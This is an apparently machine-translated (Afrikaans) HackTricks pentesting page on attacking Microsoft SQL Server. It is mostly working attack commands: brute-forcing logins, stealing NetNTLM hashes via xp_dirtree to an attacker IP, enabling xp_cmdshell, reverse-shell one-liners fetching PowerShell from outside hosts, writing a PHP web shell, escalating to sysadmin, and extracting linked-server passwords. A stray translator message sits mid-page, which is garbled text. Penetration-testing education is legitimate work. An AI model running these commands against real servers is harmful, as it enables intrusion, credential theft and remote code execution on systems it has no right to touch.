# 1433 - Pentesting MSSQL - Microsoft SQL Server

{{#include ../../banners/hacktricks-training.md}}

## Basiese Inligting

From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):

> **Microsoft SQL Server** is 'n **relationele databasis** bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat op dieselfde rekenaar of op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan loop.

**Standaard poort:** 1433
```
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Standaard MS-SQL Stelseltabelle**

- **master Databasis**: Hierdie databasis is van kardinale belang aangesien dit alle stelselniveau besonderhede vir 'n SQL Server-instansie vasvang.
- **msdb Databasis**: SQL Server Agent gebruik hierdie databasis om skedulering vir waarskuwings en take te bestuur.
- **model Databasis**: Dien as 'n bloudruk vir elke nuwe databasis op die SQL Server-instansie, waar enige veranderinge soos grootte, kollasies, herstelmodel, en meer weerspieël word in nuut geskepte databasisse.
- **Resource Databasis**: 'n Lees-alleen databasis wat stelselaanwysers bevat wat saam met SQL Server kom. Hierdie voorwerpe, terwyl dit fisies in die Resource databasis gestoor word, word logies in die sys skema van elke databasis aangebied.
- **tempdb Databasis**: Dien as 'n tydelike stoorarea vir tydelike voorwerpe of tussenresultate.

## Enumerasie

### Outomatiese Enumerasie

As jy niks van die diens weet nie:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!NOTE]
> As jy **nie** **akkrediteer nie** het nie, kan jy probeer om dit te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan **rekeninge blokkeer** as jy verskeie kere met 'n bestaande gebruikersnaam misluk om in te log. 

#### Metasploit (het akkrediteer nodig)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)

### Handmatige Enumerasie

#### Inlog

[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
```

```bash
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
```
#### Algemene Opname
```sql
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]
```
#### Kry Gebruiker

{{#ref}}
types-of-mssql-users.md
{{#endref}}
```sql
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### Kry Toestemmings

1. **Securable:** Gedefinieer as die hulpbronne wat deur SQL Server bestuur word vir toegangbeheer. Hierdie word gekategoriseer in:
- **Server** – Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en server rolle in.
- **Database** – Voorbeelde dek databasisrol, toepassingsrolle, skemas, sertifikate, volle teks katalogusse, en gebruikers.
- **Schema** – Sluit tafels, weergawes, prosedures, funksies, sinonieme, ens. in.
2. **Toestemming:** Geassosieer met SQL Server securables, toestemmings soos ALTER, CONTROL, en CREATE kan aan 'n hoof toegeken word. Bestuur van toestemmings vind op twee vlakke plaas:
- **Server Vlak** met behulp van aanmeldings
- **Database Vlak** met behulp van gebruikers
3. **Hoof:** Hierdie term verwys na die entiteit wat toestemming ontvang om 'n securable te gebruik. Hoofde sluit hoofsaaklik aanmeldings en databasisgebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## Tricks

### Voer OS Opdragte Uit

> [!CAUTION]
> Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hê nie, maar ook om die **EXECUTE toestemming op die `xp_cmdshell` gestoor prosedure** te hê. Jy kan uitvind wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met:
>
> ```sql
> Use master
> EXEC sp_helprotect 'xp_cmdshell'
> ```
```bash
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Steel NetNTLM-hash / Relay-aanval

Jy moet 'n **SMB-bediener** begin om die hash wat in die outentisering gebruik word, te vang (`impacket-smbserver` of `responder` byvoorbeeld).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> Jy kan kyk of wie (behalwe sysadmins) toestemming het om daardie MSSQL funksies uit te voer met:
>
> ```sql
> Use master;
> EXEC sp_helprotect 'xp_dirtree';
> EXEC sp_helprotect 'xp_subdirs';
> EXEC sp_helprotect 'xp_fileexist';
> ```

Deur gereedskap soos **responder** of **Inveigh** is dit moontlik om die **NetNTLM hash** te **steel**.\
Jy kan sien hoe om hierdie gereedskap te gebruik in:

{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}

### Misbruik van MSSQL vertroude Skakels

[**Lees hierdie pos**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **om meer inligting te vind oor hoe om hierdie kenmerk te misbruik:**

{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
{{#endref}}

### **Skryf Lêers**

Om lêers te skryf met `MSSQL`, moet ons **Ole Automation Procedures** [**aktiveer**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), wat admin regte vereis, en dan 'n paar gestoor prosedures uitvoer om die lêer te skep:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **Lees lêer met** OPENROWSET

Standaard laat `MSSQL` lêer **lees op enige lêer in die bedryfstelsel waartoe die rekening lees toegang het**. Ons kan die volgende SQL-navraag gebruik:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
egter, die **`BULK`** opsie vereis die **`ADMINISTER BULK OPERATIONS`** of die **`ADMINISTER DATABASE BULK OPERATIONS`** toestemming.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Fout-gebaseerde vektor vir SQLi:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Lees lêers wat skripte uitvoer (Python en R)**

MSSQL kan jou toelaat om **skripte in Python en/of R** uit te voer. Hierdie kode sal uitgevoer word deur 'n **ander gebruiker** as die een wat **xp_cmdshell** gebruik om opdragte uit te voer.

Voorbeeld wat probeer om 'n **'R'** _"Hellow World!"_ **nie te werk nie**:

![](<../../images/image (393).png>)

Voorbeeld wat geconfigureerde python gebruik om verskeie aksies uit te voer:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```
### Lees Registrasie

Microsoft SQL Server bied **meervoudige uitgebreide gestoor prosedures** wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lêerstelsel en selfs die [**Windows Registrasie**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**

| **Regulier**                | **Instansie-Bewus**                  |
| --------------------------- | ------------------------------------ |
| sys.xp_regread              | sys.xp_instance_regread              |
| sys.xp_regenumvalues        | sys.xp_instance_regenumvalues        |
| sys.xp_regenumkeys          | sys.xp_instance_regenumkeys          |
| sys.xp_regwrite             | sys.xp_instance_regwrite             |
| sys.xp_regdeletevalue       | sys.xp_instance_regdeletevalue       |
| sys.xp_regdeletekey         | sys.xp_instance_regdeletekey         |
| sys.xp_regaddmultistring    | sys.xp_instance_regaddmultistring    |
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
```sql
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Vir **meer voorbeelde** kyk na die [**oorspronklike bron**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).

### RCE met MSSQL Gebruiker Gedefinieerde Funksie - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>

Dit is moontlik om **'n .NET dll binne MSSQL te laai met pasgemaakte funksies**. Dit, egter, **vereis `dbo` toegang** so jy het 'n verbinding met die databasis **as `sa` of 'n Administrateur rol**.

[**Volg hierdie skakel**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) om 'n voorbeeld te sien.

### RCE met `autoadmin_task_agents`

Volgens[ **hierdie pos**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), is dit ook moontlik om 'n afstand dll te laai en MSSQL te laat uitvoer met iets soos:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
It seems that your message is incomplete. Please provide the text you would like translated to Afrikaans.
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}
```
### Ander maniere vir RCE

Daar is ander metodes om opdraguitvoering te verkry, soos om [uitgebreide gestoor prosedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), en [eksterne skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) toe te voeg.

## MSSQL Privilege Escalation

### Van db_owner na sysadmin

As 'n **gereguleerde gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) ontvang en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daar geskep is, as die eienaar (**admin**) kan **uitvoer**.
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
Jy kan 'n **metasploit** module gebruik:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
Of 'n **PS** skrip:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Vervalsing van ander gebruikers

SQL Server het 'n spesiale toestemming, genaamd **`IMPERSONATE`**, wat **die uitvoerende gebruiker toelaat om die toestemmings van 'n ander gebruiker** of aanmelding aan te neem totdat die konteks gereset word of die sessie eindig.
```sql
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]
```
> [!NOTE]
> As jy 'n gebruiker kan naboots, selfs al is hy nie 'n sysadmin nie, moet jy kyk of die gebruiker toegang het tot ander databasisse of gekoppelde bedieners.
> 
> Let daarop dat sodra jy 'n sysadmin is, jy enige ander een kan naboots:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
Jy kan hierdie aanval uitvoer met 'n **metasploit** module:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
of met 'n **PS** skrip:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## Gebruik van MSSQL vir Volharding

[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)

## Uittreksel van wagwoorde uit SQL Server Linked Servers

'n Aanvaller kan SQL Server Linked Servers wagwoorde uit die SQL Instansies uittrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die teiken te verkry. Die skrip om die wagwoorde wat vir die Linked Servers gestoor is, uit te trek en te ontsleutel, kan [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords) gevind word.

Sommige vereistes en konfigurasies moet gedoen word sodat hierdie ontploffing kan werk. Eerstens moet jy Administrateurregte op die masjien hê, of die vermoë om die SQL Server Konfigurasies te bestuur.

Na validasie van jou toestemmings, moet jy drie dinge konfigureer, wat die volgende is:

1. Aktiveer TCP/IP op die SQL Server instansies;
2. Voeg 'n Beginparameter by, in hierdie geval sal 'n spoorkenmerk bygevoeg word, wat -T7806 is.
3. Aktiveer afstandsadminverbinding.

Om hierdie konfigurasies te outomatiseer, het [hierdie berging](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die nodige skripte. Benewens 'n powershell-skrip vir elke stap van die konfigurasie, het die berging ook 'n volledige skrip wat die konfigurasieskripte en die uittreksel en ontsleuteling van die wagwoorde kombineer.

Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Ontsleuteling van MSSQL Databasis Link Server Wagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)

[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)

## Plaaslike Privilege Escalation

Die gebruiker wat MSSQL-server uitvoer, sal die voorregtoken **SeImpersonatePrivilege** geaktiveer hê.\
Jy sal waarskynlik in staat wees om **na Administrateur op te skaal** deur een van hierdie 2 bladsye te volg:

{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}

{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/juicypotato.md
{{#endref}}

## Shodan

- `port:1433 !HTTP`

## Verwysings

- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)

## HackTricks Outomatiese Opdragte
```
Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

```
{{#include ../../banners/hacktricks-training.md}}